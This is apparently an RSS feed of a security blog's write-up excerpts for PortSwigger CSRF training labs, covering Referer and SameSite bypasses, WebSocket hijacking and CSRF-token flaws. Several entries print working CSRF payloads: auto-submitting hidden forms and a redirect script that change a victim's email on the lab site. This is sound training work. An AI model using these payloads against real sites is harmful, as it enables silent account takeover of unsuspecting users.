<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>CSRF on an's security blog</title><link>https://panman4040.github.io/training/portswigger/csrf/</link><description>Recent content in CSRF on an's security blog</description><generator>Hugo</generator><language>en</language><lastBuildDate>Wed, 15 Jul 2026 08:36:00 +0700</lastBuildDate><atom:link href="https://panman4040.github.io/training/portswigger/csrf/index.xml" rel="self" type="application/rss+xml"/><item><title>CSRF with broken Referer validation | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner11/</link><pubDate>Mon, 06 Jul 2026 15:45:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner11/</guid><description>&lt;p>Just like &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner10/">this problem&lt;/a>, if we intercept the change email request, we may see that there are no CSRF protections present. On top of that, the session cookie still has &lt;code>SameSite=None&lt;/code>. So this would make our job very much easier:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-32-32-613.png" alt="">
As the lab name suggests, let&amp;rsquo;s try manipulating the Referer header. I&amp;rsquo;ve tried changing it to something else, or remove it entirely, the server seemingly is one step ahead of us and returns a 400 every time:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-33-50-052.png" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-34-02-052.png" alt="">
However, if we include the domain name onto the Referer header, the backend accepts it arbitrarily without any filters. This is our entry point!
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_15-36-37-658.png" alt="">
Because the lab has no CSRF defences save for that Referer validation, we can craft a simple payload as follow:&lt;/p></description></item><item><title>CSRF where Referer validation depends on header being present | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner10/</link><pubDate>Mon, 06 Jul 2026 13:50:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner10/</guid><description>&lt;p>Before attempting any CSRF payloads, it&amp;rsquo;s good practice to know more about the cookies first to see whether certain restrictions are in place. Fortunately for us, this lab has only one session cookie with &lt;code>SameSite=None&lt;/code>, without any CSRF token validation. This means any future exploits can be crafted and sent without problems:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_13-43-55-517.png" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_13-44-23-825.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try sending the email changing request to Repeater. As the lab&amp;rsquo;s name suggests, let&amp;rsquo;s tinker a little with the Referer header. As you can see above, the Referer header is pointing to the main site in which the backend accepts and forwards our request. How about changing that header to something else instead?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_13-46-22-255.png" alt="">&lt;/p></description></item><item><title>SameSite Strict bypass via sibling domain | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner9/</link><pubDate>Mon, 06 Jul 2026 13:49:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner9/</guid><description>&lt;p>At first glance, this is pretty similar to &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner8/">this problem&lt;/a>. We inspect the WebSocket history and find out that whenever we send a &lt;code>READY&lt;/code> message, all the chat history on that session is returned. So that means the same payload from that problem can be applied right?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_09-04-41-571.png" alt="">
But notice that the session cookie has &lt;code>SameSite&lt;/code> set to &lt;code>Strict&lt;/code>, that means every attempt to hijack the WebSocket connection from an outside source will not extract any useful information, besides that same default Connected with Hal Prime message.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_09-03-41-758.png" alt="">
So naturally, we have to find another attack surface to capitalise on. But where? The only other useful functionality on the main site is the login form, which is protected by the same Strict session cookie. However, CSRF protections like tokens are not present, can we take advantage of this?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-06_09-30-47-118.png" alt="">&lt;/p></description></item><item><title>Cross-site WebSocket hijacking | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner8/</link><pubDate>Mon, 15 Jun 2026 15:56:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner8/</guid><description>&lt;p>First, we shall try to intercept the GET request to &lt;code>/chat&lt;/code> to see what&amp;rsquo;s underneath the hood. Notice that there are no CSRF protections in place, only a session cookie is employed:
&lt;img src="https://panman4040.github.io/images/a8d9b668-f087-4103-83bb-9a886fe472cf.jpg" alt="">
We also notice that the session cookie has &lt;code>SameSite=None&lt;/code>, that means it&amp;rsquo;s even more vulnerable to potential CSRF attacks, which we are about to do.
&lt;img src="https://panman4040.github.io/images/a132802d-0232-4dbd-8633-a03443a9d2bc.jpg" alt="">
After sending out some messages on &lt;code>/chat&lt;/code>, in our WebSocket history we notice that once the client sends a &lt;code>READY&lt;/code> message to the server, the server responds with all of the chat history. We can verify this using Repeater as follow:
&lt;img src="https://panman4040.github.io/images/d594c22d-4e21-4b77-8156-b67a253f970e.jpg" alt="">
Now we know there are three vulnerabilities present in this chat system, it&amp;rsquo;s time to craft the payload!&lt;/p></description></item><item><title>SameSite Strict bypass via client-side redirect | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner7/</link><pubDate>Fri, 05 Jun 2026 10:22:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner7/</guid><description>&lt;p>Unlike &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner6/">this problem&lt;/a>, the cookies are set to be &lt;code>SameSite=Strict&lt;/code>:
&lt;img src="https://panman4040.github.io/images/e92e5e03-4beb-498f-850b-7a2d4c5cdae8.jpg" alt="">
However, CSRF protection is still not in place, so maybe we can figure out an exploit.&lt;/p>
&lt;p>There is a peculiar feature in the site itself, whereby once you post a comment, there will be a confirmation page that redirects you back to the post you&amp;rsquo;ve made the comment on
&lt;img src="https://panman4040.github.io/images/6d7091df-1976-446c-b09a-e974a54cb598.jpg" alt="">&lt;/p>
&lt;p>&lt;code>postId&lt;/code> is the only but required parameter, we can traverse up the path by setting &lt;code>postId = ../&lt;/code> and surely enough it redirects us back to the main page. Note that the action of posting comments and being redirected does &lt;strong>not&lt;/strong> required you to be logged in.&lt;/p></description></item><item><title>SameSite Lax bypass via method override | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner6/</link><pubDate>Fri, 05 Jun 2026 09:41:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner6/</guid><description>&lt;p>Upon inspecting the HTTP response header, we see that &lt;code>SameSite&lt;/code> isn&amp;rsquo;t explicitly set to anything. We can safely assume that it&amp;rsquo;s set to &lt;code>Lax&lt;/code> by default (at least in Chrome)
&lt;img src="https://panman4040.github.io/images/6b6bc548-ea79-4264-9780-20356717c3c6.jpg" alt="">&lt;/p>
&lt;p>While intercepting the request for email change as a normal user, we can see that there is no CSRF token validation which makes our payload lighter:
&lt;img src="https://panman4040.github.io/images/5f1e4a15-6e0c-4832-bd6e-4d100d9c79f3.jpg" alt="">&lt;/p>
&lt;p>Our initial payload is this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> document.&lt;span style="color:#a6e22e">location&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email?email=attack%40hack.net&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But once we test this on ourselves, we are hit with a 405 Method Not Allowed. Viewing the page source also confirms the form only accepts &lt;code>POST&lt;/code> request. Thus we have to override the method in our request line:&lt;/p></description></item><item><title>CSRF where token is duplicated in cookie | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner5/</link><pubDate>Thu, 04 Jun 2026 15:33:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner5/</guid><description>&lt;p>The barebone logic is the same as &lt;a href="https://panman4040.github.io/training/portswigger/csrf/csrf-practioner4/">this problem&lt;/a>. But rather than associating the session cookie with CSRF tokens, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is called the &lt;strong>double submit&lt;/strong> defense against CSRF.&lt;/p>
&lt;p>There are many reasons why this method is advocated, with one of the reason being server performance and scaling. The CSRF tokens generated are usually checked for correct formats and so on, thus barring an attacker from generating their own token.&lt;/p></description></item><item><title>CSRF token is tied to a non-session cookie | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner4/</link><pubDate>Thu, 04 Jun 2026 14:30:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner4/</guid><description>&lt;p>The key idea is that there are two separate cookies per se, one for session and the other for generating CSRF tokens. They are not tied to eachother so one can simply get a pair of tokens, then apply that to the payload. The following intercept in Burp shows clearly the pair:
&lt;img src="https://panman4040.github.io/images/54235a99-e484-4610-a7c3-3c3c58778fe8.jpg" alt="">&lt;/p>
&lt;p>I took a lot of time on this because I thought we can remotely set cookies to the main site, &lt;em>which surprisingly cannot be done&lt;/em>. Turns out we have to tell the main site to set our cookies for us, in this case we will be using the search function.
&lt;img src="https://panman4040.github.io/images/a2d50b58-888b-46ad-9012-a8769cffda9f.jpg" alt="">&lt;/p></description></item><item><title>CSRF where token is not tied to user session | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner3/</link><pubDate>Thu, 04 Jun 2026 14:06:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner3/</guid><description>&lt;p>We first try changing the email of our own account. By intercepting the POST request in Burp, we can get the CSRF token for that request as below:
&lt;img src="https://panman4040.github.io/images/15137e91-c5f3-402a-a281-430e6b078724.jpg" alt="">&lt;/p>
&lt;p>Suppose we are blind about the vulnerability, we &lt;em>try&lt;/em> to apply that same token in our payload to see whether the web server draws from a common token pool or not. &lt;em>Surprisingly&lt;/em>, our payload works and is something like below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;POST&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;csrf&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&amp;lt;csrf-token&amp;gt;&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>CSRF where token validation depends on token being present | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner2/</link><pubDate>Thu, 04 Jun 2026 14:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner2/</guid><description>&lt;p>Just as the name of the lab implies, the validation depends on whether the csrf token is included in the request or not.&lt;/p>
&lt;p>To bypass this, we can just &lt;em>not send&lt;/em> the token. Our old payload from the last two labs can be applied straight away:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;POST&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>CSRF where token validation depends on request method | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner1/</link><pubDate>Thu, 04 Jun 2026 13:44:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner1/</guid><description>&lt;p>Upon viewing the page source, the form correctly asks for the CSRF token when the request uses the POST method. But the one for GET is nowhere to be found.
&lt;img src="https://panman4040.github.io/images/f45f63f1-0c80-439d-9aa1-0040bf5ed123.jpg" alt="">&lt;/p>
&lt;p>We can just change our existing payload to use GET instead of POST as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;GET&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>CSRF vulnerability with no defenses | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-apprentice1/</link><pubDate>Thu, 04 Jun 2026 10:54:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-apprentice1/</guid><description>&lt;p>Upon inspecting the form, we can verify that it has no CSRF protection:
&lt;img src="https://panman4040.github.io/images/a361435f-e3cc-4778-8a04-73ce894ad85b.jpg" alt="">
Therefore, our payload on our exploit server can simply be as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;POST&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// redirect user after the request is sent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#a6e22e">setTimeout&lt;/span>(&lt;span style="color:#66d9ef">function&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> window.&lt;span style="color:#a6e22e">location&lt;/span>.&lt;span style="color:#a6e22e">href&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}, &lt;span style="color:#ae81ff">1000&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upon clicking on the malicious page, the browser immediately and silently, with the input type being &lt;code>hidden&lt;/code>, updates the email address of that user with whatever &lt;code>value&lt;/code>.&lt;/p></description></item></channel></rss>